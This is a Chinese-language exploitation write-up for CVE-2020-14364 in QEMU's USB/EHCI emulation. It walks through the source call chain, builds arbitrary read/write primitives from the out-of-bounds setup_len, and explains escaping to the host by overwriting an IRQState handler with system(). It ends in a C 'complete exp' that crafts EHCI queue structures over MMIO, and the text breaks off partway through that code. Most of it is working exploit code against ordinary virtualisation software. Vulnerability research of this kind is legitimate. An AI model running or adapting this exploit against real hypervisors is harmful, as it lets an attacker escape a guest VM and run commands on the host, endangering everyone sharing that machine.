CVE-2020-14364是qemu5.2.0版本前存在的漏洞,可以借助usb这个常见设备进行逃逸。
环境搭建和分析可以直接参考:https://xz.aliyun.com/t/8320
漏洞分析 在do_token_setup函数 中的s->setup_len > sizeof(s->data_buf)
判断大小越界后,直接返回,但是s->setup_len
中依然为一个越界的大小,并且在接下来的do_token_in和do_token_out函数中可以利用该值去进行越界读写,在此过程中没有任何对s->setup_len
的判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 static void do_token_setup (USBDevice *s, USBPacket *p) { int request, value, index; if (p->iov.size != 8 ) { p->status = USB_RET_STALL; return ; } usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0 ; p->actual_length = 0 ; s->setup_len = (s->setup_buf[7 ] << 8 ) | s->setup_buf[6 ]; if (s->setup_len > sizeof (s->data_buf)) { fprintf (stderr , "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n" , s->setup_len, sizeof (s->data_buf)); p->status = USB_RET_STALL; return ; } ……………… ……………… }static void do_token_in (USBDevice *s, USBPacket *p) { ……………… ……………… case SETUP_STATE_DATA: if (s->setup_buf[0 ] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } ……………… ……………… }static void do_token_out (USBDevice *s, USBPacket *p) { ……………… ……………… case SETUP_STATE_DATA: if (!(s->setup_buf[0 ] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } ……………… ……………… }
触发漏洞函数 使用elixir.bootlin这个网站可以很方便去寻找函数的交叉引用,一顿狂点鼠标最终找到的上层函数调用链如下:
do_token_setup—>usb_process_one —>usb_handle_packet —>ehci_execute—>ehci_state_execute —>ehci_advance_state —>ehci_advance_periodic_state —>ehci_work_bh
而最后的ehci_work_bh函数是由usb_ehci_realize函数所引用:
1 2 3 4 5 6 7 void usb_ehci_realize (EHCIState *s, DeviceState *dev, Error **errp) { …………………… s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, ehci_work_timer, s); s->async_bh = qemu_bh_new(ehci_work_bh, s); …………………… }
但是usb_ehci_realize函数是没有真正调用ehci_work_bh,这里只是将ehci_work_bh函数创建为底半部(bottom half),想到曾经复现过hfctf2022中的qemu题也是这种,qemu的bottom half与timers相似:timers是timer_mod触发、bottom half是qemu_bh_schedule触发,最后由另一个线程去执行。
最后进一步去找qemu_bh_schedule(s->async_bh)
的调用,可以找到ehci_opreg_wrie函数。
ehci_opreg_wrie就是CTF题中常见的设备write函数,函数先通过addr这个值去访问opreg联合体相应的变量,通过mmio这个变量再去由val赋值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 static void ehci_opreg_write (void *ptr, hwaddr addr, uint64_t val, unsigned size) { EHCIState *s = ptr; uint32_t *mmio = s->opreg + (addr >> 2 ); uint32_t old = *mmio; int i; trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val); switch (addr) { case USBCMD: ………………………… ………………………… if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) != ((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) { if (s->pstate == EST_INACTIVE) { SET_LAST_RUN_CLOCK(s); } s->usbcmd = val; ehci_update_halt(s); s->async_stepdown = 0 ; qemu_bh_schedule(s->async_bh); } break ; case USBSTS: val &= USBSTS_RO_MASK; ehci_clear_usbsts(s, val); val = s->usbsts; ehci_update_irq(s); break ; ………………………… ………………………… case FRINDEX: val &= 0x00003fff ; s->usbsts_frindex = val; break ; ………………………… ………………………… *mmio = val; trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr), *mmio, old); }union { uint32_t opreg[0x44 /sizeof (uint32_t )]; struct { uint32_t usbcmd; uint32_t usbsts; uint32_t usbintr; uint32_t frindex; uint32_t ctrldssegment; uint32_t periodiclistbase; uint32_t asynclistaddr; uint32_t notused[9 ]; uint32_t configflag; }; };
在ehci_work_bh中会对usbcmd这个值进行一些判断才会调用ehci_advance_periodic_state,原始的usbcmd = 0x10001无法满足判断,需要使用ehci_opreg_wrie函数对usbcmd重新赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 static void ehci_work_bh (void *opaque) { ………………………… ………………………… if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) { need_timer++; ………………………… ………………………… for (i = 0 ; i < uframes; i++) { if (i >= MIN_UFR_PER_TICK) { ehci_commit_irq(ehci); if ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr) { break ; } } if (ehci->periodic_sched_active) { ehci->periodic_sched_active--; } ehci_update_frindex(ehci, 1 ); if ((ehci->frindex & 7 ) == 0 ) { ehci_advance_periodic_state(ehci); } ehci->last_run_ns += UFRAME_TIMER_NS; } } ………………………… ………………………… }static inline bool ehci_periodic_enabled (EHCIState *s) { return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); }static inline bool ehci_enabled (EHCIState *s) { return s->usbcmd & USBCMD_RUNSTOP; }
ehci_advance_periodic_state中没有什么参数是需要判断的,可以直接调用ehci_advance_state,但是entry这个值会影响接下来的函数。get_dwords函数将list物理地址中的值赋值给entry,list开始由ehci->periodiclistbase赋值,再和((ehci->frindex & 0x1ff8) >> 1) 与运算,ehci->periodiclistbase和ehci->frindex都是opreg联合体中的变量,使用ehci_opreg_wrie赋值即可。这里我本地 ehci->frindex这个值并不是固定的,这点和De4dCr0w师傅不太一样,需要事先对ehci->frindex赋值为0才能让list在与运算后+4
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static void ehci_advance_periodic_state (EHCIState *ehci) { ………………………… ………………………… case EST_ACTIVE: if (!(ehci->frindex & 7 ) && !ehci_periodic_enabled(ehci)) { ehci_queues_rip_all(ehci, async); ehci_set_state(ehci, async, EST_INACTIVE); break ; } list = ehci->periodiclistbase & 0xfffff000 ; if (list == 0 ) { break ; } list |= ((ehci->frindex & 0x1ff8 ) >> 1 ); if (get_dwords(ehci, list , &entry, 1 ) < 0 ) { break ; } DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n" , ehci->frindex / 8 , list , entry); ehci_set_fetch_addr(ehci, async,entry); ehci_set_state(ehci, async, EST_FETCHENTRY); ehci_advance_state(ehci, async); ………………………… ………………………… }
接下来就是最绕的地方
进入ehci_advance_state后,通过ehci_get_state得到相应的状态值,去调用相应的处理函数,而这些处理函数中使用ehci_set_state可以设置新的状态值,相应的处理函数结束后,ehci_get_state得到新的状态值不断循环。
要想调用ehci_state_execute函数,要满足q != NULL,状态值是EST_EXECUTE。
上层的ehci_advance_periodic_state函数已经将状态值设置为EST_FETCHENTRY,开始会先进入ehci_state_fetchentry函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 static void ehci_advance_state (EHCIState *ehci, int async) { EHCIQueue *q = NULL ; int itd_count = 0 ; int again; do { switch (ehci_get_state(ehci, async)) { case EST_FETCHENTRY: again = ehci_state_fetchentry(ehci, async); break ; case EST_FETCHQH: q = ehci_state_fetchqh(ehci, async); if (q != NULL ) { assert(q->async == async); again = 1 ; } else { again = 0 ; } break ; ……………… ……………… case EST_FETCHQTD: assert(q != NULL ); again = ehci_state_fetchqtd(q); break ; ……………… ……………… case EST_EXECUTE: assert(q != NULL ); again = ehci_state_execute(q); if (async) { ehci->async_stepdown = 0 ; } break ; } } while (again); }
ehci_state_fetchentry中需要满足switch的值为NLPTR_TYPE_QH,设置新的状态值为EST_FETCHQH,在接下来的循环中就可以调用ehci_state_fetchqh函数为q赋值了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static int ehci_state_fetchentry (EHCIState *ehci, int async) { int again = 0 ; uint32_t entry = ehci_get_fetch_addr(ehci, async); ………………………… ………………………… switch (NLPTR_TYPE_GET(entry)) { case NLPTR_TYPE_QH: ehci_set_state(ehci, async, EST_FETCHQH); again = 1 ; break ; ………………………… ………………………… }#define NLPTR_TYPE_QH 1 #define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
在ehci_state_fetchqh函数中也会用到ehci_advance_periodic_state函数的entry值,并且作为get_dwords参数,也就是entry也必须是个物理地址,将里面的值保存到一个EHCIqh结构体中;设置entry这个物理地址中的值也为EHCIqh结构体,进而可以赋值给q->qh;该函数中设置的状态值没有EST_EXECUTE这个选项,但在另一个ehci_state_fetchqtd函数中可以设置,这里设置新的状态值为EST_FETCHQTD;然后需要通过判断的值为q->qh结构体中的变量,q->qh又是来自entry这个物理地址中的值,可以完全操纵,设置好entry中EHCIqh结构体的变量即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 static EHCIQueue *ehci_state_fetchqh (EHCIState *ehci, int async) { uint32_t entry; EHCIQueue *q; EHCIqh qh; entry = ehci_get_fetch_addr(ehci, async); q = ehci_find_queue_by_qh(ehci, entry, async); if (q == NULL ) { q = ehci_alloc_queue(ehci, entry, async); } ……………… ……………… if (get_dwords(ehci, NLPTR_GET(q->qhaddr), (uint32_t *) &qh, sizeof (EHCIqh) >> 2 ) < 0 ) { q = NULL ; goto out; } ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh); if (!ehci_verify_qh(q, &qh)) { if (ehci_reset_queue(q) > 0 ) { ehci_trace_guest_bug(ehci, "guest updated active QH" ); } } q->qh = qh; ……………… if (q->dev == NULL ) { q->dev = ehci_find_device(q->ehci, get_field(q->qh.epchar, QH_EPCHAR_DEVADDR)); } ……………… ……………… if (q->qh.token & QTD_TOKEN_HALT) { ehci_set_state(ehci, async, EST_HORIZONTALQH); } else if ((q->qh.token & QTD_TOKEN_ACTIVE) && (NLPTR_TBIT(q->qh.current_qtd) == 0 ) && (q->qh.current_qtd != 0 )) { q->qtdaddr = q->qh.current_qtd; ehci_set_state(ehci, async, EST_FETCHQTD); ……………… ……………… }
ehci_state_fetchqtd函数使用q->qtdaddr这个物理地址,通过get_dwords来赋值给qtd,q->qtdaddr由上一步的q->qh.current_qtd赋值;和之前一样的套路,设置q->qh.current_qtd这个物理地址中的值为EHCIqtd结构体,最后的qtd中的值变成我们设置的,让qtd通过判断,设置新的状态值为EST_EXECUTE即可,之后就可以进入ehci_state_execute函数后并一路进入漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static int ehci_state_fetchqtd (EHCIQueue *q) { EHCIqtd qtd; EHCIPacket *p; int again = 1 ; uint32_t addr; addr = NLPTR_GET(q->qtdaddr); if (get_dwords(q->ehci, addr + 8 , &qtd.token, 1 ) < 0 ) { return 0 ; } ……………… ……………… if (!(qtd.token & QTD_TOKEN_ACTIVE)) { ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH); } else if (p != NULL ) { ……………… ……………… } else if (q->dev == NULL ) { ehci_trace_guest_bug(q->ehci, "no device attached to queue" ); ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH); } else { p = ehci_alloc_packet(q); p->qtdaddr = q->qtdaddr; p->qtd = qtd; ehci_set_state(q->ehci, q->async, EST_EXECUTE); } return again; }
但是qtd中的值并不能完全满足判断,需要q->dev != NULL
这个条件,q->dev这个值又是在先前的ehci_state_fetchqh函数中调用的ehci_find_device决定的(当时看得头都要裂开了);ehci_find_device函数中需要让ehci->portsc的值通过判断才能给dev赋值,ehci->portsc的值是由ehci_port_write函数设置的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static USBDevice *ehci_find_device (EHCIState *ehci, uint8_t addr) { USBDevice *dev; USBPort *port; int i; for (i = 0 ; i < NB_PORTS; i++) { port = &ehci->ports[i]; if (!(ehci->portsc[i] & PORTSC_PED)) { DPRINTF("Port %d not enabled\n" , i); continue ; } dev = usb_find_device(port, addr); if (dev != NULL ) { return dev; } } return NULL ; }
ehci_port_write函数和ehci_opreg_wrie函数一样都是直接可以读写PCI设备来触发的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static void ehci_port_write (void *ptr, hwaddr addr, uint64_t val, unsigned size) { EHCIState *s = ptr; int port = addr >> 2 ; uint32_t *portsc = &s->portsc[port]; uint32_t old = *portsc; USBDevice *dev = s->ports[port].dev; ……………… ……………… if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) { trace_usb_ehci_port_reset(port, 1 ); } if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) { trace_usb_ehci_port_reset(port, 0 ); if (dev && dev->attached) { usb_port_reset(&s->ports[port]); *portsc &= ~PORTSC_CSC; } if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) { val |= PORTSC_PED; } } ……………… ……………… }
初始化PCI设备的函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 static const MemoryRegionOps ehci_mmio_opreg_ops = { .read = ehci_opreg_read, .write = ehci_opreg_write, .valid.min_access_size = 4 , .valid.max_access_size = 4 , .endianness = DEVICE_LITTLE_ENDIAN, };static const MemoryRegionOps ehci_mmio_port_ops = { .read = ehci_port_read, .write = ehci_port_write, .valid.min_access_size = 4 , .valid.max_access_size = 4 , .endianness = DEVICE_LITTLE_ENDIAN, };static void usb_ehci_pci_init (Object *obj) { DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE); EHCIPCIState *i = PCI_EHCI(obj); EHCIState *s = &i->ehci; s->caps[0x09 ] = 0x68 ; s->capsbase = 0x00 ; s->opregbase = 0x20 ; s->portscbase = 0x44 ; s->portnr = NB_PORTS; if (!dc->hotpluggable) { s->companion_enable = true ; } usb_ehci_init(s, DEVICE(obj)); }void usb_ehci_init (EHCIState *s, DeviceState *dev) { ……………… ……………… memory_region_init(&s->mem, OBJECT(dev), "ehci" , MMIO_SIZE); memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s, "capabilities" , CAPA_SIZE); memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, "operational" , s->portscbase); memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s, "ports" , 4 * s->portnr); memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps); memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg); memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase, &s->mem_ports); }
memory_region_add_subregion函数将一个内存区域添加为另一个大的内存区域的子区域,第二个参数就是添加到另一个大的内存区域的偏移,也就是先使用memory_region_init_io初始化三个不同的IO内存区域,再由memory_region_add_subregion合并到另一个大的内存区域,访问这个大的内存区域不同的偏移地址时会触发不同的读写功能。
至此触发漏洞的调用链才算是分析完成了,并且明白了要设置哪些参数。
漏洞函数的参数设置 明白怎样去触发漏洞函数,接下来就是要对do_token_setup函数中相应参数的设置,这样才能去利用漏洞。
do_token_setup函数刚开始就是: if (p->iov.size != 8)
,usb_packet_copy(p, s->setup_buf, p->iov.size)
,跟p->iov关系比较大,s->setup_buf这个主要的结构体是通过p中的参数来赋值的,在usb_packet_copy函数中的拷贝操作就使用p->iov[0].iov_base中的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 void usb_packet_copy (USBPacket *p, void *ptr, size_t bytes) { QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov; assert(p->actual_length >= 0 ); assert(p->actual_length + bytes <= iov->size); switch (p->pid) { case USB_TOKEN_SETUP: case USB_TOKEN_OUT: iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); ……………… ……………… }
接下来就是找到p->iov结构体中变量的来源。
p->iov结构体中变量是ehci_execute函数中的ehci_init_transfer函数和usb_packet_map函数操作的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static int ehci_execute (EHCIPacket *p, const char *action) { ……………… ……………… if (p->async == EHCI_ASYNC_NONE) { if (ehci_init_transfer(p) != 0 ) { return -1 ; } spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0 ); usb_packet_setup(&p->packet, p->pid, ep, 0 , p->qtdaddr, spd, (p->qtd.token & QTD_TOKEN_IOC) != 0 ); usb_packet_map(&p->packet, &p->sgl); p->async = EHCI_ASYNC_INITIALIZED; } ……………… ……………… }
ehci_init_transfer中的p->qtd 来自之前ehci_state_fetchqtd函数中的p->qtd = qtd
,这里主要将qtd.token和qtd.bufptr中的值赋值给sgl结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static int ehci_init_transfer (EHCIPacket *p) { uint32_t cpage, offset, bytes, plen; dma_addr_t page; cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE); bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES); offset = p->qtd.bufptr[0 ] & ~QTD_BUFPTR_MASK; qemu_sglist_init(&p->sgl, p->queue ->ehci->device, 5 , p->queue ->ehci->as); while (bytes > 0 ) { if (cpage > 4 ) { fprintf (stderr , "cpage out of range (%d)\n" , cpage); qemu_sglist_destroy(&p->sgl); return -1 ; } page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK; page += offset; plen = bytes; if (plen > 4096 - offset) { plen = 4096 - offset; offset = 0 ; cpage++; } qemu_sglist_add(&p->sgl, page, plen); bytes -= plen; } return 0 ; }
usb_packet_map函数主要利用sgl结构体来对p->iov赋值,dma_memory_map会对sgl->sg[i].base
这个值操作操作,说明其是物理地址,也就是说赋值给 sgl->sg[i].base的qtd.bufptr也是物理地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int usb_packet_map (USBPacket *p, QEMUSGList *sgl) { DMADirection dir = (p->pid == USB_TOKEN_IN) ? DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE; void *mem; int i; for (i = 0 ; i < sgl->nsg; i++) { dma_addr_t base = sgl->sg[i].base; dma_addr_t len = sgl->sg[i].len; while (len) { dma_addr_t xlen = len; mem = dma_memory_map(sgl->as, base, &xlen, dir); if (!mem) { goto err; } if (xlen > len) { xlen = len; } qemu_iovec_add(&p->iov, mem, xlen); len -= xlen; base += xlen; } } return 0 ; err: usb_packet_unmap(p, sgl); return -1 ; }
至此整明白p->iov的来源以后, 就可以顺利利用漏洞了。
识别本地的PCI设备 虽然这一步和漏洞利用并没有关系,但是还有要说明一下。
使用lspci
,显示的Class、vendor_id和device_id后的16进制数可以判断PCI设备,参数的含义可以参考:https://elixir.bootlin.com/qemu/v4.2.1/source/include/hw/pci/pci_ids.h
虽然在CTF题中目标的PCI设备可以直接通过vendor_id和device_id识别,但是对真实的环境,很多设备的初始化异常复杂,如果本地的文件系统中的lspci
功能不全,看到不到更多的PCI设备信息,这里使用qemu的monitor功能,进入monitor模式以后输入info pci
,就可以很容易看到详细的PCI设备信息:
不过对应这里的usb设备,在初始化文件系统时就已经提供了相关信息:
漏洞利用 任意读写 相关函数代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 static void do_token_in (USBDevice *s, USBPacket *p) { ……………… ……………… case SETUP_STATE_DATA: if (s->setup_buf[0 ] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } ……………… ……………… }static void do_token_out (USBDevice *s, USBPacket *p) { ……………… ……………… case SETUP_STATE_DATA: if (!(s->setup_buf[0 ] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; } ……………… ……………… }
直接无脑设置s->setup_len为0xffff去越界读内存完全可行,只不过有点费内存页,但是这样去越界写的话必然会影响到内存中其它的变量,导致出错。
这里的思路是参考De4dCr0w师傅的做法,做出了一点修改:
set_length先设置一个正常大小的s->setup_len,如果直接设置s->setup_len为越界的大小,直接返回后的s->setup_state没有设置为SETUP_STATE_DATA,接下来的越界写也无法完成
set_length再设置为0x1010
越界写,修改s->setup_index为((size_t)1 << 32) - 8 - 0x1010,完成越界写后有 s->setup_index += len
,最后s->setup_index = ((size_t)1 << 32) - 8,由于s->setup_index为int类型,这里实际是-8
,下一步越界写就是从&s->data_buf - 8
开始,也就是从s->setup_buf开始写 ;修改s->setup_len为0x1018,让其下一步越界写也能覆盖s->setup_len和s->setup_index;同时也要修改s->setup_state为SETUP_STATE_DATA
继续越界写,修改中s->setup_buf[0]的值为USB_DIR_IN或者USB_DIR_OUT(本来就可以越界写,其实USB_DIR_OUT可以不用刻意设置),可以让接下来的do_token_in和do_token_out通过对s->setup_buf[0]
的判断,顺利调用usb_packet_copy函数;修改s->setup_index为offset(目的偏移值) - 0x1020,s->setup_index += len
后就是目标偏移;修改s->setup_len为(目的偏移值) + size(读写的大小);修改s->setup_state为SETUP_STATE_DATA
修改参数时注意:if (s->setup_index >= s->setup_len)
,如果满足这个判断,越界修改的s->setup_state就会失效
最后就可以顺利通过s->setup_index来任意读写堆内存了
任意读:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void arb_read (uint32_t offset, uint32_t size) { set_length(0x100 , USB_DIR_IN); memset (data_buf, 0 , 0x1000 ); memset (data_buf_oob, 0 , 0x1000 ); set_length(0x1010 , USB_DIR_OUT); *(uint32_t *)(data_buf_oob + 4 ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 8 ) = 0x1018 ; *(uint32_t *)(data_buf_oob + 0xc ) = ((size_t )1 << 32 ) - 8 - 0x1010 ; write_to_usb(); *(uint32_t *)(data_buf) = USB_DIR_IN; *(uint32_t *)(data_buf_oob + 0xc ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 0x10 ) = offset + size; *(uint32_t *)(data_buf_oob + 0x14 ) = offset - 0x1020 ; write_to_usb(); read_from_usb(); }
任意写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void arb_write (uint32_t offset, void *payload, uint32_t payload_size) { set_length(0x100 , USB_DIR_IN); memset (data_buf, 0 , 0x1000 ); memset (data_buf_oob, 0 , 0x1000 ); set_length(0x1010 , USB_DIR_OUT); *(uint32_t *)(data_buf_oob + 4 ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 8 ) = 0x1018 ; *(uint32_t *)(data_buf_oob + 0xc ) = ((size_t )1 << 32 ) - 8 - 0x1010 ; write_to_usb(); *(uint32_t *)(data_buf) = USB_DIR_OUT; *(uint32_t *)(data_buf_oob + 0xc ) = SETUP_STATE_DATA; *(uint32_t *)(data_buf_oob + 0x10 ) = offset + payload_size; *(uint32_t *)(data_buf_oob + 0x14 ) = offset - 0x1020 ; write_to_usb(); memcpy (data_buf, payload, payload_size); write_to_usb(); }
整体利用 在s->data_buf + 0x2004处就可以泄漏出堆地址和qemu地址
泄漏出地址后有如下两种方法去实现逃逸
修改IRQState结构体 具体调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct IRQState { Object parent_obj; qemu_irq_handler handler; void *opaque; int n; };typedef struct IRQState *qemu_irq ;void qemu_set_irq (qemu_irq irq, int level) { if (!irq) return ; irq->handler(irq->opaque, irq->n, level); }static inline void ehci_update_irq (EHCIState *s) { int level = 0 ; if ((s->usbsts & USBINTR_MASK) & s->usbintr) { level = 1 ; } trace_usb_ehci_irq(level, s->frindex, s->usbsts, s->usbintr); qemu_set_irq(s->irq, level); }
EHCIState结构体中存在qemu_irq,ehci_opreg_write函数中switch的选项是USBSTS就可以调用ehci_update_irq(s);qemu_irq这个结构体也在堆上,找到qemu_irq这个结构体的地址后,通过任意写修改handler为system地址,修改opaque为cmd的地址。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <assert.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/io.h> #include <unistd.h> #include <stdbool.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) void *mmio;int fd;void *buf;uint8_t *setup_buf;size_t *payload_buf;void *data_buf;void *data_buf_oob;uint32_t *entry;struct EHCIqh * qh ;struct EHCIqtd * qtd ;#define PORTSC_PRESET (1 << 8) #define PORTSC_PED (1 << 2) #define USBCMD_RUNSTOP (1 << 0) #define USBCMD_PSE (1 << 4) #define USB_DIR_OUT 0 #define USB_DIR_IN 0x80 #define QTD_TOKEN_ACTIVE (1 << 7) #define USB_TOKEN_SETUP 2 #define USB_TOKEN_IN 1 #define USB_TOKEN_OUT 0 #define SETUP_STATE_DATA 2 #define QTD_TOKEN_TBYTES_SH 16 #define QTD_TOKEN_PID_SH 8 typedef struct EHCIqh { uint32_t next; uint32_t epchar; uint32_t epcap; uint32_t current_qtd; uint32_t next_qtd; uint32_t altnext_qtd; uint32_t token; uint32_t bufptr[5 ]; } EHCIqh;typedef struct EHCIqtd { uint32_t next; uint32_t altnext; uint32_t token; uint32_t bufptr[5 ]; } EHCIqtd;uint32_t page_offset (uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1 ); }uint64_t gva_to_gfn (void *addr) { uint64_t pme, gfn; size_t offset; fd = open("/proc/self/pagemap" , O_RDONLY); if (fd < 0 ) { perror("open" ); exit (1 ); } offset = ((uintptr_t )addr >> 9 ) & ~7 ; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8 ); if (!(pme & PFN_PRESENT)) return -1 ; gfn = pme & PFN_PFN; close(fd); return gfn; }uint64_t gva_to_gpa (void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1 ); return (gfn << PAGE_SHIFT) | page_offset((uint64_t )addr); }void mmio_write (uint64_t addr, uint32_t value) { *(uint32_t *)(mmio + addr) = value; }uint32_t mmio_read (uint64_t addr) { return *(uint32_t *)(mmio + addr); }void set_length (uint16_t len, uint8_t option) { mmio_write(0x64 , PORTSC_PRESET); mmio_write(0x64 , PORTSC_PED); sleep(1 ); qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = gva_to_gpa(qtd); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = gva_to_gpa(setup_buf); setup_buf[0 ] = option; setup_buf[6 ] = len & 0xff ; setup_buf[7 ] = (len >> 8 ) & 0xff ; mmio_write(0x2c , 0 ); mmio_write(0x34 , gva_to_gpa(buf)); mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE); sleep(1 ); }void read_from_usb () { mmio_write(0x64 , PORTSC_PRESET); mmio_write(0x64 , PORTSC_PED); sleep(1 ); qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = gva_to_gpa(qtd); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x2000 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = gva_to_gpa(data_buf); qtd->bufptr[1 ] = gva_to_gpa(data_buf_oob); 